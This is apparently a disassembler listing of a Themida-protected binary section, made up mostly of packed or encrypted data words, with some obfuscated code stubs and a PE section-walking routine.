dd 3BEF24DBh, 22CE03BCh, 0DBC7FCA3h, 0DF46DD7Eh, 8437F328h
dd 336AF829h, 37B09h, 62493700h, 6DCC4EE0h, 79532804h
dd 0B49296D7h, 3CAB20C9h, 68DB6722h, 0DF3B6DCCh, 659A510Ah
dd 685DEAB1h, 390A6DCCh, 0AFE49B9Ah, 7D2C10FBh, 6DCC68C5h
dd 0B02B4521h, 52CEC2F7h, 5C128975h, 752EAD21h, 5D5F5440h
dd 984FC682h, 7518AF63h, 68F74B3Eh, 9F486DCCh, 0C2BAB66Ah
dd 0ECCE8A66h, 68AB1712h, 344B6DCCh, 5B70548Dh, 0CC6816B0h
dd 809FCC6Dh, 1E9DD7D7h, 8425AECBh, 53624F43h, 532B9792h
dd 0B4CB6DCCh, 4125D110h, 7C2F4125h, 67FC2553h, 3E0AAFABh
dd 0F04A15E1h
db 24h, 0B3h, 0FBh
byte_580023 db 2 ; DATA XREF: Themida_:0054C800o
dd 0D7770000h, 0EBA11894h, 0CC81F8B4h, 0EBA01793h, 0C97BFAAEh
dd 0ACD8CE8Ah, 8F4B8A3Eh, 0A8246508h
db 31h, 7Dh
word_580046 dw 8642h ; DATA XREF: ___:off_43285Co
; ___:00432864o ...
dd 0A723580Fh, 71D1B8C4h, 956BDF37h, 79328C18h, 92395044h
dd 7F32A95Dh, 23DB8A3Eh, 0C46DCC7Ch, 6DCC0C7Ah, 2DD91ACBh
dd 338CC07Eh, 0C8787F92h, 0EE00E425h, 77E4CFDh, 637811E8h
dd 46318E7Dh, 51CD9803h, 0AFE6AECh, 4750444Ah, 289h, 0A6226505h
dd 8642792Fh, 0AD215A0Fh, 803C792Eh, 0A41857F9h, 84285AA6h
dd 5F128945h, 772BAA1Eh, 52F9803Ch, 0D2AEA11Dh, 0DF306BD7h
dd 860E8B6Bh, 50447932h, 0A95D9239h, 0F130CFF4h, 9649053Ah
dd 336B363Bh, 21F1Bh, 44027100h, 0D96DCC7Ch, 213DF135h
dd 991CC71Eh, 0F336A22h, 2B661C9Bh, 98C80577h, 64FFBBC5h
dd 17CB8865h, 0A0548B41h, 0BCEA0C4h, 0F8721E55h, 0CCABB111h
dd 0FDD9556Dh, 4F3C0CD0h, 0ACC1A9A3h, 67FE9DFAh, 11CD08BEh
dd 6A50834Eh, 596333h, 0DE5D0000h, 1F03EF26h, 0BD5C824Ah
dd 0DA8D4C1Eh, 35114C02h, 0F008E541h, 0FC7DF439h, 31969267h
dd 4A0A3F3Bh, 0C6B821F5h, 42000001h, 0A914D90h, 28AF2B62h
dd 5944881h, 32A92562h, 9D8B3F7Eh, 1251F361h, 2D6E1F96h
dd 49842AB1h, 285D0695h, 0C4C7B9B4h, 6BDF307Eh, 32931996h
dd 0E2854479h, 0C3C6BAA5h, 6DCC7C67h, 0B8CFC39Fh, 0D463D712h
dd 0E7E4F62Bh, 22B0E9ABh, 7D293EE8h, 0F5697688h, 0C985C066h
dd 0B0649952h, 83377819h, 8425B488h, 57522643h, 6DCC17EBh
dd 9630F0Bh, 86639A52h, 9B4418CDh, 9AB6BA66h, 0CC7D3C1Eh
dd 0BE9B978Bh, 55419E1Fh, 0E2568F36h, 0CC179B23h, 9C3FD66Dh
dd 7A9AC7C2h, 0EA3C67FCh, 8F83B86Fh, 295EE493h, 0BAB6943Ch
dd 1F9AC496h, 9E153269h, 7CFBAFE6h, 663CF2C4h, 989C88BDh
dd 0F3C698BCh, 9CD17A4Eh, 9368CCB8h, 134EF493h, 93CA8239h
dd 0B86683DFh, 1251F3C6h, 85C6675Eh, 1ECF8C61h, 0FBB229DDh
dd 0D2E1CEC2h, 0D734F709h, 8D9E0C47h, 29DD18CEh, 82ED204Dh
dd 44CD1C72h, 52F77327h, 400597D4h, 0BAD9CADAh, 36000000h
dd 5EDD5194h, 3CBB6FA6h, 9904C85h, 26B52966h, 0A1874382h
dd 1655F765h, 317213A2h, 0D48FE7Dh, 0EC21CA51h, 88837D70h
dd 6BDF313Ah, 0D737FDDAh, 9BBDC496h, 0BB90D7D8h, 5E124700h
dd 978BC067h, 29DB5EC2h, 540303E1h, 886CA6F8h, 0C3C6989Ch
dd 6DCCBD7Fh, 0DDBE9B97h, 0F328DF46h, 907B6537h, 6DCCBD32h
dd 0CE05BBD2h, 0CF22D5F2h, 0AF336A74h, 24h, 7C45021Dh
dd 617F6DCCh, 0B532AA6Ch, 1A01175Fh, 6DCC4CA8h, 5493354Ch
dd 27E05B70h, 0BCD36F2h, 3F000000h, 0CC7C4402h
dword_580304 dd 0FD32D96Dh, 2321AB41h, 0C96A1657h, 211447F1h, 79D4Ch
; DATA XREF: Themida_:0054CB60o
dd 552B0000h, 0C5A2E386h, 3D8032FFh, 64995249h, 3A7519B0h
dd 5D9E4F46h, 3F7E32A9h, 51903453h, 448126A5h, 5B943950h
dd 417830A7h, 5457CF55h, 4C7815Fh, 83000000h, 3C8704EFh
dd 89535C24h, 4C381E3h, 83000000h, 1C8704EBh, 34895C24h
dd 6C306824h, 0C890000h, 0D37BE24h, 0EE83153Eh, 40EE8101h
dd 680F2AC3h, 2A86h, 81242489h, 42404h, 50590000h, 4189F089h
dd 24048B08h, 8B04C483h, 8950240Ch, 405E0h, 4050000h, 87000000h
dd 0FF5C2404h, 835E2434h, 1DE904C4h, 0E2FFFD31h, 0FD5D818Bh
dd 8C2367FFh
db 65h, 8Dh, 4Bh
; ---------------------------------------------------------------------------
loc_5803C7: ; CODE XREF: Themida_:0057FE2Aj
mov eax, 6134EDBh
add eax, ebp
loc_5803CE: ; CODE XREF: Themida_:0057FE25j
mov edx, ecx
jmp loc_580426
; ---------------------------------------------------------------------------
pusha
mov esi, [esp+24h]
add esi, [esi+3Ch]
mov edi, [esp+28h]
mov edx, esi
add edx, 0F8h
mov cx, [esi+6]
movzx ecx, cx
loc_5803F0: ; CODE XREF: Themida_:0058041Bj
cmp ecx, 0
jz loc_58040F
cmp edi, [edx+0Ch]
jg loc_580417
sub edx, 28h
mov eax, [edx+0Ch]
mov ecx, [edx+14h]
sub eax, ecx
sub edi, eax
loc_58040F: ; CODE XREF: Themida_:005803F3j
; Themida_:00580421j
mov [esp+1Ch], edi
popa
retn 8
; ---------------------------------------------------------------------------
loc_580417: ; CODE XREF: Themida_:005803FCj
add edx, 28h
dec ecx
jnz loc_5803F0
jmp loc_58040F
; ---------------------------------------------------------------------------
loc_580426: ; CODE XREF: Themida_:005803D0j
mov edx, 9FD3Eh
jmp short loc_58044D
; ---------------------------------------------------------------------------
align 10h
dd 7 dup(0)
db 0
; ---------------------------------------------------------------------------
loc_58044D: ; CODE XREF: Themida_:0058042Bj
jmp loc_5809F1
; ---------------------------------------------------------------------------
jmp loc_5809EA
; ---------------------------------------------------------------------------
push 61351ADh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6135257h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61353FEh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 613546Eh
jmp loc_5534D8
; ---------------------------------------------------------------------------
db 1Eh
dd 26B5296Ch, 493477Eh, 31A8245Dh, 0E8D417Eh, 0A99F1B5Ah
dd 3E7D2F5Dh, 195A0B8Ah, 357016A5h, 14490279h, 0E0CBB598h
dd 6BDF2C62h, 329F2582h, 0C605A77Bh, 607A56DAh, 7C378B7Eh
dd 53CF6DCCh, 0D6F32ED4h, 7CC58128h, 8B28EDCCh, 3120F1F4h
dd 4100B36Bh, 0FE000000h, 2E4B883Bh, 7C450296h, 0F5046DCCh
dd 6FEA14E6h, 940E8B8h, 203D191Dh, 0FBCCF963h, 1A11EF67h
dd 9420CCA8h, 17C9C74Ch, 0DAD88A8Eh, 4521E1F6h, 2E2089h
dd 2B200000h, 0F4AF72B0h, 0CD5774ABh, 0CC7C4402h, 4CF4036Dh
dd 0D2AC5899h, 0CC7C6BD7h, 0B38F8B6Dh, 48FEBD8Fh, 2108F00Dh
dd 67FBCC87h, 187431Fh, 4E427B32h, 0CC7CBC07h, 0B7C9B3EDh
dd 0CC7C4EF4h, 0ADCAA6EDh, 1A53770Eh, 6D375328h, 701CF255h
dd 0B3BF1744h, 65114C02h, 4B08E501h, 0B8835D96h, 5A953915h
dd 0D1A68A76h, 0B827B80Dh, 3C5A5A6h, 950578Eh, 0A11D0CF4h
dd 3DEDCC87h, 0ED9635E1h, 56A5A6B8h, 28B501FEh, 54EE9DAFh
dd 0B0EDCC0Fh, 3D1F97B4h, 9F43BC10h, 0D6F3DB75h, 1CD07087h
dd 294D29DDh, 10F35457h, 740BE7FCh, 85E195CCh, 58E6B561h
dd 0BB142390h, 418C6908h, 21B97B3Eh, 7Eh, 1EBD5C6Bh, 2A7324Ch
dd 7C60E2C9h, 0CBD6DCCh, 0A35BD7CBh, 215810C7h, 4DCF175h
dd 0FBC5B005h, 0F8D24E67h, 0A5518E41h, 5D4ACC1h, 26B5295Eh
dd 2C5F3F7Dh, 949B39F4h, 0B195B1F0h, 9C81E0Ch, 9304104Ah
dd 314h, 26A2E585h, 6C2F9AFh, 2DA1DA8Fh, 0BCF9AEh, 2498D779h
dd 4A8DA26h, 0DF9209C5h, 0F7AB2A9Eh, 0D27900BCh, 522E219Dh
dd 0DF2DEB57h, 68E0B6Bh, 2DF40h, 7B328C00h, 0BF074E42h
dd 356DCC7Ch, 7358E038h, 0CCA1CDBBh, 0CC5BE7DFh, 5AB9086Dh
dd 0E4626DCCh, 0DE6DCC5Ah, 906DA65Bh, 0CC5A2B93h, 5A72CC6Dh
dd 0E6EDADCCh, 0F230DBF5h, 9227FB51h, 53F5C496h, 0E7046014h
dd 0B084537h, 0C7AF507Dh, 226E3EA4h, 5D230B35h, 5D6DD80h
dd 7EB740EBh, 532D5E11h, 112AEA58h, 390E0A5Eh, 9880ED49h
dd 0B6803890h, 26AF5DEh, 2BDB0000h, 3FE574E8h, 20C55408h
dd 3FE473E7h, 1DCF4602h, 7C6ADEh, 6BDF1ED2h, 44F839ECh
dd 62D611B5h, 43F72CD3h, 0DB57448h, 0E96BDF2Eh, 4D7400Ch
dd 0F470245Dh, 7C932FDAh, 0F7736DCCh, 7DB259E2h, 7C24B789h
dd 3ED52845h, 0B8C8C39Dh, 5867FBCBh, 34D960DCh, 11B83FFBh
dd 40D72CD8h, 0A2CAC19Bh, 629E177Bh, 2B935206h, 269E151Ch
dd 39324C8Fh, 7C5CAEFBh, 63A445F4h, 93966A7Fh, 942294F1h
dd 215C1289h, 0AAC607AAh, 2D6209D0h, 4C812AB1h, 73A51158h
dd 35C4800Ah, 47D5D4A6h, 5F8A3DC3h, 0E0D37FFAh, 4A26B53Ah
dd 0A81D4E30h, 0E0EB340h, 0F02BDF56h, 7CA760DBh, 7E33358Dh
dd 7155D18Ah, 50853EBDh, 3359F5A4h, 1188A7Eh, 0EDDE00DAh
dd 0CE4D6F12h, 0CEB592E9h, 8049E8AEh, 3900DA56h, 0DE09C292h
dd 52AF972Bh, 0CFF36F8Ch, 7C037F3h, 23E6F8D2h, 8C52AF9Fh
dd 2AE1FB77h, 8C52AF98h, 0DBCBA07Ch, 0FC31DA61h, 0AF9B27E2h
dd 9F7B8C52h, 369C3BCAh, 0FFEA0D71h, 738D69C8h, 65DE2CB8h
dd 9668C486h, 3AE61DC3h, 36652136h, 0B646BE88h, 0C4B0E79Dh
dd 964E1EC5h, 93AFB35Fh, 0A73EF5DFh, 0BEDA6823h, 0DE3AB646h
dd 0C3621102h, 0E073CB26h, 11AB57h, 0D7210000h, 45225F04h
dd 0CC19E05Eh, 14436Dh, 2B90000h, 6DCC1644h, 0CA09BB7Eh
dd 9A49F9B0h, 0B1AD9233h, 0BD5C109Ch, 275D4C1Eh, 0BF67FBCBh
dd 0B342AF63h, 4F01DB8Dh, 0E4006410h, 323BEE00h, 0CC9E10B7h
dd 6113EB50h, 899D4039h, 0C320h, 4F923400h, 6DA45CDBh
dd 8AC36AF1h, 67A447CEh, 81C064F3h, 31A3DFCDh, 0D8C407Fh
dd 189F1B5Ch, 0F4833772h, 0A7A2164Bh, 2F6CD6D5h, 2B886BDFh
dd 1EBD5CA1h, 3A7324Ch, 8358DCC8h, 0FBCBF888h, 0C29C9867h
dd 0CC55ED9Ch, 0B5B19420h, 0FA19E698h, 0BE460BD8h, 5DD9CD08h
dd 0CE8A9270h, 0F431D8F2h, 929E10C1h, 7B533196h, 0C9DD4039h
dd 53E0h, 0DF22C400h, 0FD34EC6Bh, 0DA13BA41h, 0F734D75Eh
dd 0D110B443h, 0E1136F5Dh, 0BD3CF02Fh, 880FCB0Ch, 0A433A7E2h
dd 1712C6FBh, 28DC6625h, 0BB386BDFh, 5C04D7F1h, 0D8F57125h
dd 1769h, 96D7E300h, 144CC013h, 0C0F7ADB7h, 63DFCAA4h
dd 836DCC85h, 8436D2A7h, 493D8032h, 0B0649952h, 463A7519h
dd 0A95D9E4Fh, 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h
dd 55417830h, 5D5455CFh, 4C581h, 0ED830000h, 242C8704h
dd 0E089505Ch, 405h, 4E88300h, 5C240487h
; ---------------------------------------------------------------------------
mov [esp], ebp
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
push 3E3Bh
mov [esp], ebx
push 669F7990h
pop ebx
neg ebx
xor ebx, 3B8637E2h
xor ebx, 0A4F5E186h
mov ebp, ebx
pop ebx
push esp
mov ecx, [esp]
add esp, 4
push esi
push edx
mov edx, ebp
mov esi, edx
pop edx
mov [ecx+8], esi
pop esi
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
mov ebp, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5534D8
; ---------------------------------------------------------------------------
db 0E3h, 0Bh
; ---------------------------------------------------------------------------
loc_5809EA: ; CODE XREF: Themida_:00580452j
mov eax, 61354E6h
add eax, ebp
loc_5809F1: ; CODE XREF: Themida_:loc_58044Dj
mov ecx, eax
jmp loc_580B3B
; ---------------------------------------------------------------------------
dd 543B7E8Ah, 0DA95ECE7h, 6715893h, 0BEB6CFDFh, 365D54FDh
dd 0BCECA436h, 0C55DD500h, 0D676D352h, 0FC94A4h, 0C1AEC441h
dd 5277CB50h, 9CACAC32h, 6C46BF00h, 7390ADFCh, 0D6A33659h
dd 9C72E275h, 0DD0090BDh, 9B8CE693h, 64A592A7h, 92A7ABDDh
dd 7A918F97h, 0B9F95CFCh, 9BB1E496h, 9F47E4B5h, 0B6E592B6h
dd 9EBDF694h, 96B3EBB5h, 9C93D0ECh, 7B97BF99h, 89F55CFDh
dd 0EDAFF493h, 0E3B2CD00h, 0D4E594A6h, 5700C3B5h, 0F3622D44h
dd 3CAE29B0h, 44000000h, 6C000000h, 2 dup(0)
dd 4000000h, 94000000h, 5000000h, 1000000h, 28000000h
dd 200000Ah, 22h dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_580B3B: ; CODE XREF: Themida_:005809F3j
jmp loc_582C43
; ---------------------------------------------------------------------------
push 61358EAh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6135A16h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6135AA2h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6135B8Ch
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6135C5Fh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6135D2Eh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6135E05h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6135EA5h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 613629Dh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61362FFh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 613649Ah
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61367C0h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6136B4Ch
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6136F8Bh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6137100h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6137162h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61371B0h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 613722Ah
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61373B6h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61374A8h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 613767Ch
jmp loc_5534D8
; ---------------------------------------------------------------------------
align 4
dd 0EF952498h, 0D07504B8h, 0EF942397h, 0CD7FF6B2h, 0D02C1A8Eh
dd 0FBAFEEA2h, 0D488C97Ch, 0F266A145h, 0D387BC63h, 9D25E4D8h
dd 796BDF2Bh, 7932B07Ch, 7CE75B4Eh, 23FF6DCCh, 8B34533Fh
dd 767DE256h, 34628B65h, 216C2327h, 0A01D7F4h, 67FC5021h
dd 54EE9DC3h, 7B943C50h, 0AD79E4DAh, 6BC7B774h, 0EA289A91h
dd 50CC943Ch, 0F7AB877Bh, 3CEA16B0h, 49822794h, 4D883E5Dh
dd 4E8F4259h, 656B0A99h, 6660FFB4h, 0EA319178h, 50D5943Ch
dd 13B158AEh, 54294DA3h, 7A75824Bh, 316239h, 5CA80000h
dd 5D4C1EBDh, 67FC7C74h, 0F5C49692h, 5611552h, 0D76F36E8h
dd 36943C7Ch, 0FAE4E67Dh, 3C7CB30Fh, 2D75394h, 7B35B4FDh
dd 0CC9439h, 32F60000h, 0DE504479h, 906DA65Bh, 2EE221C3h
dd 0C7BBF097h, 66E217D0h, 0E324C594h, 0E61D06h, 12B96DCCh
dd 31DA61DDh, 80BF0306h, 0DB579233h, 1FB60BF7h, 0FAE7A2BCh
dd 1C9803F6h, 0A0378C40h, 0C96A213Bh, 4D9E1559h, 2AE1FFD1h
dd 9E114998h, 0B5CBA07Ch, 29438226h, 0CFC3FAB2h, 0C614B4Ah
dd 6A86DEE2h, 9E52C98Dh, 0AD77FA5Fh, 4B5B4038h, 1E335Ah
dd 63A64800h, 81B870E7h, 5E974ECDh, 7BB86BEAh, 559438BFh
dd 6597F3D9h, 51C884C3h, 6CEB5FA0h, 38BF7BB6h, 0EBDE5A8Fh
dd 24A81A11h, 4F4C6BDFh, 3F7E32C5h, 1E530C8Bh, 9BDC8D4Ch
dd 2C9695E7h, 0C86DCC7Ch, 0EB73886Ch, 2459DC11h, 428C2206h
dd 0A3C18128h, 49256DCCh, 0BD5C9834h, 745D4C1Eh, 9267FC7Ch
dd 3BBEA96h, 14943C7Ch, 4A41356Ch, 0E019D0A2h, 60143034h
dd 0FBDF764Dh, 3C7CB210h, 0FAD65294h, 0FCA43709h, 14BAD1C5h
dd 2D492DD9h, 7CEA5853h, 0E0A943Ch, 0FCB6A39h, 7E5B964Ch
dd 7B363879h, 0BC1839h, 93260000h, 65C1B5EEh, 96D7BC88h
dd 2534902Bh, 951E3B52h, 0CECDB9EEh, 2DD21Ah, 28DD382Eh
dd 0F211584Ch, 0CD6DCC35h, 4C0FE116h, 0B77F5C95h, 9E528740h
dd 4719C251h, 0B693CE74h, 3BFAE7A2h, 401C67FCh, 3BA0378Ch
dd 93D86A21h, 0D73C9E0Ah, 0BF66DE63h, 0B1969A86h, 907B57F7h
dd 9E11B632h, 567A56D2h, 0D413B584h, 508B3FFAh, 62D9C37Bh
dd 0F231D3AFh, 8E42F9CEh, 771EA4Fh, 55414038h, 1D0744h
dd 276A1C00h, 457C24B3h, 225B1289h, 3F7C2FA6h, 19580C8Bh
dd 295BA7A5h, 5944887h, 30A72364h, 0C8B3F7Ah, 0BFAA1E53h
dd 2674CEBDh, 13906BDFh, 3F7E3289h, 1E530C8Bh, 79321CAAh
dd 92395044h, 6C3DE15Dh, 738D4E65h, 0FC202BB8h, 0D44FCB67h
dd 91379723h, 9843D251h, 7D92C3C6h, 952C5A9Dh, 0E38FB3F4h
dd 0FAD4070Eh, 0AD6EC10Fh, 0CBA58150h, 0A6225710h, 266105D4h
dd 5AE1F67Ah, 0F52AE1B1h, 0D3F96CD1h, 0E1B582A4h, 1C7BF8h
dd 9BDE9000h, 0B9F0981Fh, 96CF7605h, 0B3F09322h, 8DCC80F7h
dd 3DAFDBD1h, 9904C8Bh, 24B32768h, 1087437Eh, 0C3A62257h
dd 2670D2B9h, 17946BDFh, 0A979328Dh, 5DD9CD02h, 0A1388D79h
dd 0EC69203Ah, 867FC12h, 968F33F6h, 0B679423h, 1E302CEEh
dd 96F94940h, 411D9423h, 0C106B22Ch, 64DECDB3h, 80942396h
dd 9F36C7A4h, 4D3C223Ch, 942396F5h, 20381511h, 13CAF869h
dd 8A3DFC9Eh, 8B42594Dh, 9EC29E52h, 5C488327h, 88FF03D8h
dd 0DBFAA6E3h, 3D39ED26h, 0D17A3D19h, 56C21CEEh, 6D7F5C7Bh
dd 1B2A9893h, 4ECA41E2h, 0F3A46779h, 8B4BD277h, 70EE38Fh
dd 0C10FFAD4h, 8141E264h, 522C610Ah, 0C264EB57h, 330F0B4Dh
dd 0ABE9A219h, 7DFEC661h, 1E0DDFD5h, 4DC251A4h, 4C00E440h
dd 7CE116CDh, 93EBE097h, 91FEE7BFh, 0A600001Bh, 8E0DC104h
dd 0AC2B9FD6h, 7900BCF5h, 962599D6h, 11F7B3F2h, 0A6E587F5h
dd 0C102A332h, 9DD88E0Dh, 0BCF19A21h, 78330D00h, 6BDF27CAh
dd 32E7AD2Ah, 63504479h, 0B6758754h, 67FC0A99h, 0B0E38853h
dd 238D49F9h, 95B1AD94h, 0F266C2B8h, 50679046h, 42EA718Bh
dd 0F40AEE0Bh, 8DA31F0Ah, 0F1439423h, 238D883Ah, 0D4F06C94h
dd 0D1970CF7h, 3D2F9E13h, 13B1F44Eh, 120B109Eh, 685C412Bh
dd 0BCFFEC08h, 0E26FA310h, 0A556D1F5h, 7BBB9F4Fh, 0B7EE9625h
dd 1EB443A2h, 0AF6330FCh, 0BF91B5D4h, 0CA509BCCh, 5B472330h
dd 728C4F66h, 0DA1D79B7h, 431D1936h, 1E9ACF78h, 97CA7D3Ch
dd 0D98C2E94h, 866AC626h, 0FAC1969Ah, 0C0AF1C51h, 6CF8F03Dh
dd 1ABE2FB8h, 33D30000h, 7BD3CF0h, 28DD5CD0h, 7BC3BEFh
dd 0E5870ECAh, 0C83432A6h, 3B7F69Ah, 1C90D174h, 0FAAEE99Dh
dd 1B8FC47Bh, 0E55D4C30h, 16BDF20h, 793218A4h, 55542A44h
dd 6DCC7CEDh, 7C9E24E7h, 0FA766DCCh, 55512602h, 68825960h
dd 0FC1B04C1h, 0EB9EC067h, 94239D57h, 110544E8h, 0EC015D15h
dd 0DA7E3A36h, 1BC057D8h, 0C1D94A41h, 5DB9E13h, 13C1BC06h
dd 8F41589Eh, 0A3577450h, 0A9300CC7h, 5BD7CB04h, 0C07857Eh
dd 93229B55h, 0D3BFF8ADh, 0B259734Fh, 916118FDh, 0CF9AD89h
dd 77AC53EDh, 815F815Bh, 408F388Ah, 6B80DC9Dh, 70C570C0h
dd 3A141097h, 0F34F3A24h, 1387B0C4h, 0D2794217h, 0F19A219Dh
dd 75760FBCh, 0DEB65999h, 19EFF5h, 1F620400h, 3D742CABh
dd 1A53FA81h, 3774179Eh, 1150F483h, 2153AF9Dh, 0FD7C306Fh
dd 0C84F0B4Ch, 0E473E722h, 5752063Bh, 211CA665h, 0FBF86BDFh
dd 44793231h, 87546350h, 1255B675h, 9A3167FCh, 0C09AB6F7h
dd 671B54F9h, 0E7ADE0Bh, 0EF8075E1h, 0F3B864DAh, 0F20CCFE6h
dd 1393AA37h, 55D04C9Eh, 833F527Bh, 0BBA0D58Eh, 0BD7CE5E4h
dd 3E22CE09h, 73058229h, 0FCBF62DAh, 1C180C45h, 0CE179E3Fh
dd 0DA7567DBh, 5F087F0Dh, 502A462Ah, 0EA190459h, 0DAC6A207h
dd 0BD536B60h, 7AA1EE00h, 0E2F9005Dh, 8F33F608h, 6737C9A7h
dd 0A7AC1615h, 0EC4837C9h, 1E0DF308h, 3DF9EDD6h, 0CB77324Ch
dd 2B3E39DDh, 0C681A2Fh, 8BC067F2h, 6A9F48CFh, 106C3EFDh
dd 118292E0h, 1918h, 7E3A7D2Dh, 9E1A51F7h, 85397217h, 981451F6h
dd 7C306F21h, 4C00728Eh, 27CA510Dh, 3FE372E6h, 1AD14804h
dd 7A8669E5h, 0DF22338Fh, 4ED6D36Bh, 50447932h, 75875463h
dd 7C22A08Bh, 66C26DCCh, 76BC6F91h, 0E67FBD2h, 0CA813812h
dd 9992BB95h, 44852832h, 49421B17h, 0D7FBAA34h, 929420DFh
dd 61D85487h, 6CB975AAh, 0A2BC8E4Dh, 0DE75CDBCh, 0FA919420h
dd 0B671B52h, 0D91912E7h, 7D9E1770h, 540CCFA1h, 0D578431Dh
dd 6784E094h, 89C068EFh, 1045FE9Dh, 3C81EEABh, 454E4640h
dd 1878h, 1E9ADD8Dh, 0FEBAF197h, 2599D277h, 0F8B4F196h
dd 1C90CF81h, 0ECA0D22Eh, 7AA31ADh, 0DF8312C6h, 0FAB128A4h
dd 1A2609C5h, 0DF22D36Fh, 0EEB6336Bh, 4C1EBD5Ch, 0FBD2955Dh
dd 1B353167h, 30A9E7A0h, 0E10523C3h, 5EC3775Bh, 0BB6E805Bh
dd 94201813h, 0D4836FEBh, 9420186Bh, 9F5AF98Ah, 397EC64Eh
dd 792Eh, 0E4895000h, 204CF6B5h, 0CCA89420h, 6378FCA8h
dd 1AC15CC9h, 7CE54940h, 0CEFF6DCCh, 0DD9860BFh, 0AC6E8B85h
dd 0F9C09EB0h, 0B671B54h, 0CC94A61Ch, 0F911096Dh, 3B782142h
dd 7C2BDE43h, 4C611834h, 4535328h, 6DCCA5BAh, 6E8B2A59h
dd 336A50A3h, 40E0DA13h, 8911DB7Fh, 1CFC74h, 24E0000h
dd 6DCC7C45h, 14E6F504h, 0FC0D6815h, 0AE2A0667h, 2D489FCCh
dd 0E18E830Fh, 0BD5C400Ch, 0A7324C1Eh, 0F7B4C902h, 67FC0652h
dd 72CCB8B4h, 8A259D8Ch, 0EC9F9423h, 94238A56h, 5EBAB2AEh
dd 0E419D289h
dd 0C29E4F0Ah, 421ED20Bh, 0D9EE721Eh, 0F82DD665h, 0B111F8E6h
dd 2094238Ah, 0B52C2427h, 77F3AB62h, 8325A462h, 0ACC807A9h
dd 0F42BE1F8h, 0ABE48900h, 44DBC4F7h, 67FEA578h, 2FDA05BEh
dd 9423A893h, 5FDBF773h, 5042FD8h, 9423A8BDh, 0DF9DD59h
dd 0A0BA21B8h, 13D880E9h, 2EAA869Eh, 0D7CB00A7h, 49605190h
dd 1EB50E06h, 0E7A07017h, 4A367517h, 1A160AE6h, 4CF38236h
dd 6D89C87Ch, 3A6D22B9h, 6560F34Fh, 883AF116h, 6C166560h
dd 402400F0h, 0ED6C4254h, 0A147FE39h, 9DBAB66Ah, 5BE67FEh
dd 883BFED0h, 31A82E4Bh, 6451457Ah, 0B5748655h, 1C550144h
dd 3924622h, 5C7B275Ch, 1BC68A9h, 692203A2h, 4A017834h
dd 86123B15h, 5BC8D5F3h, 361C2E93h, 8878DC11h, 0B73EB373h
dd 0A5344A24h, 56DAC601h, 0A7C98A81h, 918D1264h, 0B0E59E1Dh
dd 8E6A1B9Eh, 0CAB69ADBh, 33DF14CBh, 4836132Fh, 44E4A521h
dd 6E059E72h, 6FEB20C7h, 0F50742E8h, 0E4A2200Bh, 0E6423244h
dd 0D2761511h, 19AADF93h, 0CC07BB7Ah, 0AAE58910h, 0EF2CDFF6h
dd 0C23BF0DDh, 7E6BE220h, 6A1EBD69h, 0E99DDC90h, 0B0BD698Dh
dd 0CB1FA73Ch, 6A229928h, 9E553F33h, 0BDE6B907h, 104BFF26h
dd 2E691D9Ch, 1316E842h, 3244F0AFh, 988CCD80h, 9792E49Ch
dd 3244F02Bh, 56734FCBh, 11EBF007h, 748AB11Ah, 7D95538h
dd 0A9608B34h, 34B4FE19h, 284521FDh, 3ED56C76h, 0A41853F7h
dd 4D396E15h, 0B460954Eh, 42DC4D7h, 2A54265Bh, 0B4FDC37Fh
dd 32472334h, 0B520F1ACh, 6A00D9F2h, 4A000000h, 206104D7h
dd 60DBF074h, 0A9836FAAh, 2B407D32h, 5F053BDAh, 623EFD1Fh
dd 0FFE39A79h, 0B92209E3h, 2B67FC3Eh, 0D4C0F9B0h, 9A13AF5Ah
dd 77F39423h, 388A815Bh, 0DC94239Ah, 0BBB76B80h, 76CCBFA1h
dd 8E94239Ah, 1F01B592h, 9BD27A41h, 269C8BE7h, 0BE94239Ah
dd 21A18862h, 0C594239Ah, 54D59469h, 0DB000000h, 5A6FAA60h
dd 417C32D2h, 82596055h, 2F939668h, 0C76DCC7Ch, 0ADC8AE62h
dd 5E82B7DEh, 77897789h, 0CC9C0EB4h, 7DC5C46Dh, 996DCC9Ch
dd 7489E59Dh, 0FCFFFAB7h, 6517A67h, 0B17B59B4h, 7B1208E5h
dd 9D998DC6h, 0B09FABB0h, 60848BD8h, 0DA19CB8Eh, 0D7B339FDh
dd 7A265B04h, 703DE1F6h, 51F64A69h, 0F34F3A14h, 136DCC7Ch
dd 9A213B17h, 68CCB8F5h, 25BE6D93h, 0C167FC20h, 8939E265h
dd 0D089F4CFh, 55ED9C49h, 0B168F0B9h, 52F09BB5h, 0B268F0B9h
dd 8BC09AB6h, 38ECEBE1h, 0AD18D4F9h, 1271F4Ch, 4E6B1A2Ch
dd 0F3A46779h, 8B62C0ADh, 70EE38Fh, 0C10FFAD4h, 8198D09Eh
dd 5710CBA5h, 0AAD4A622h, 0D01243FFh, 792CA394h, 0CE84C38h
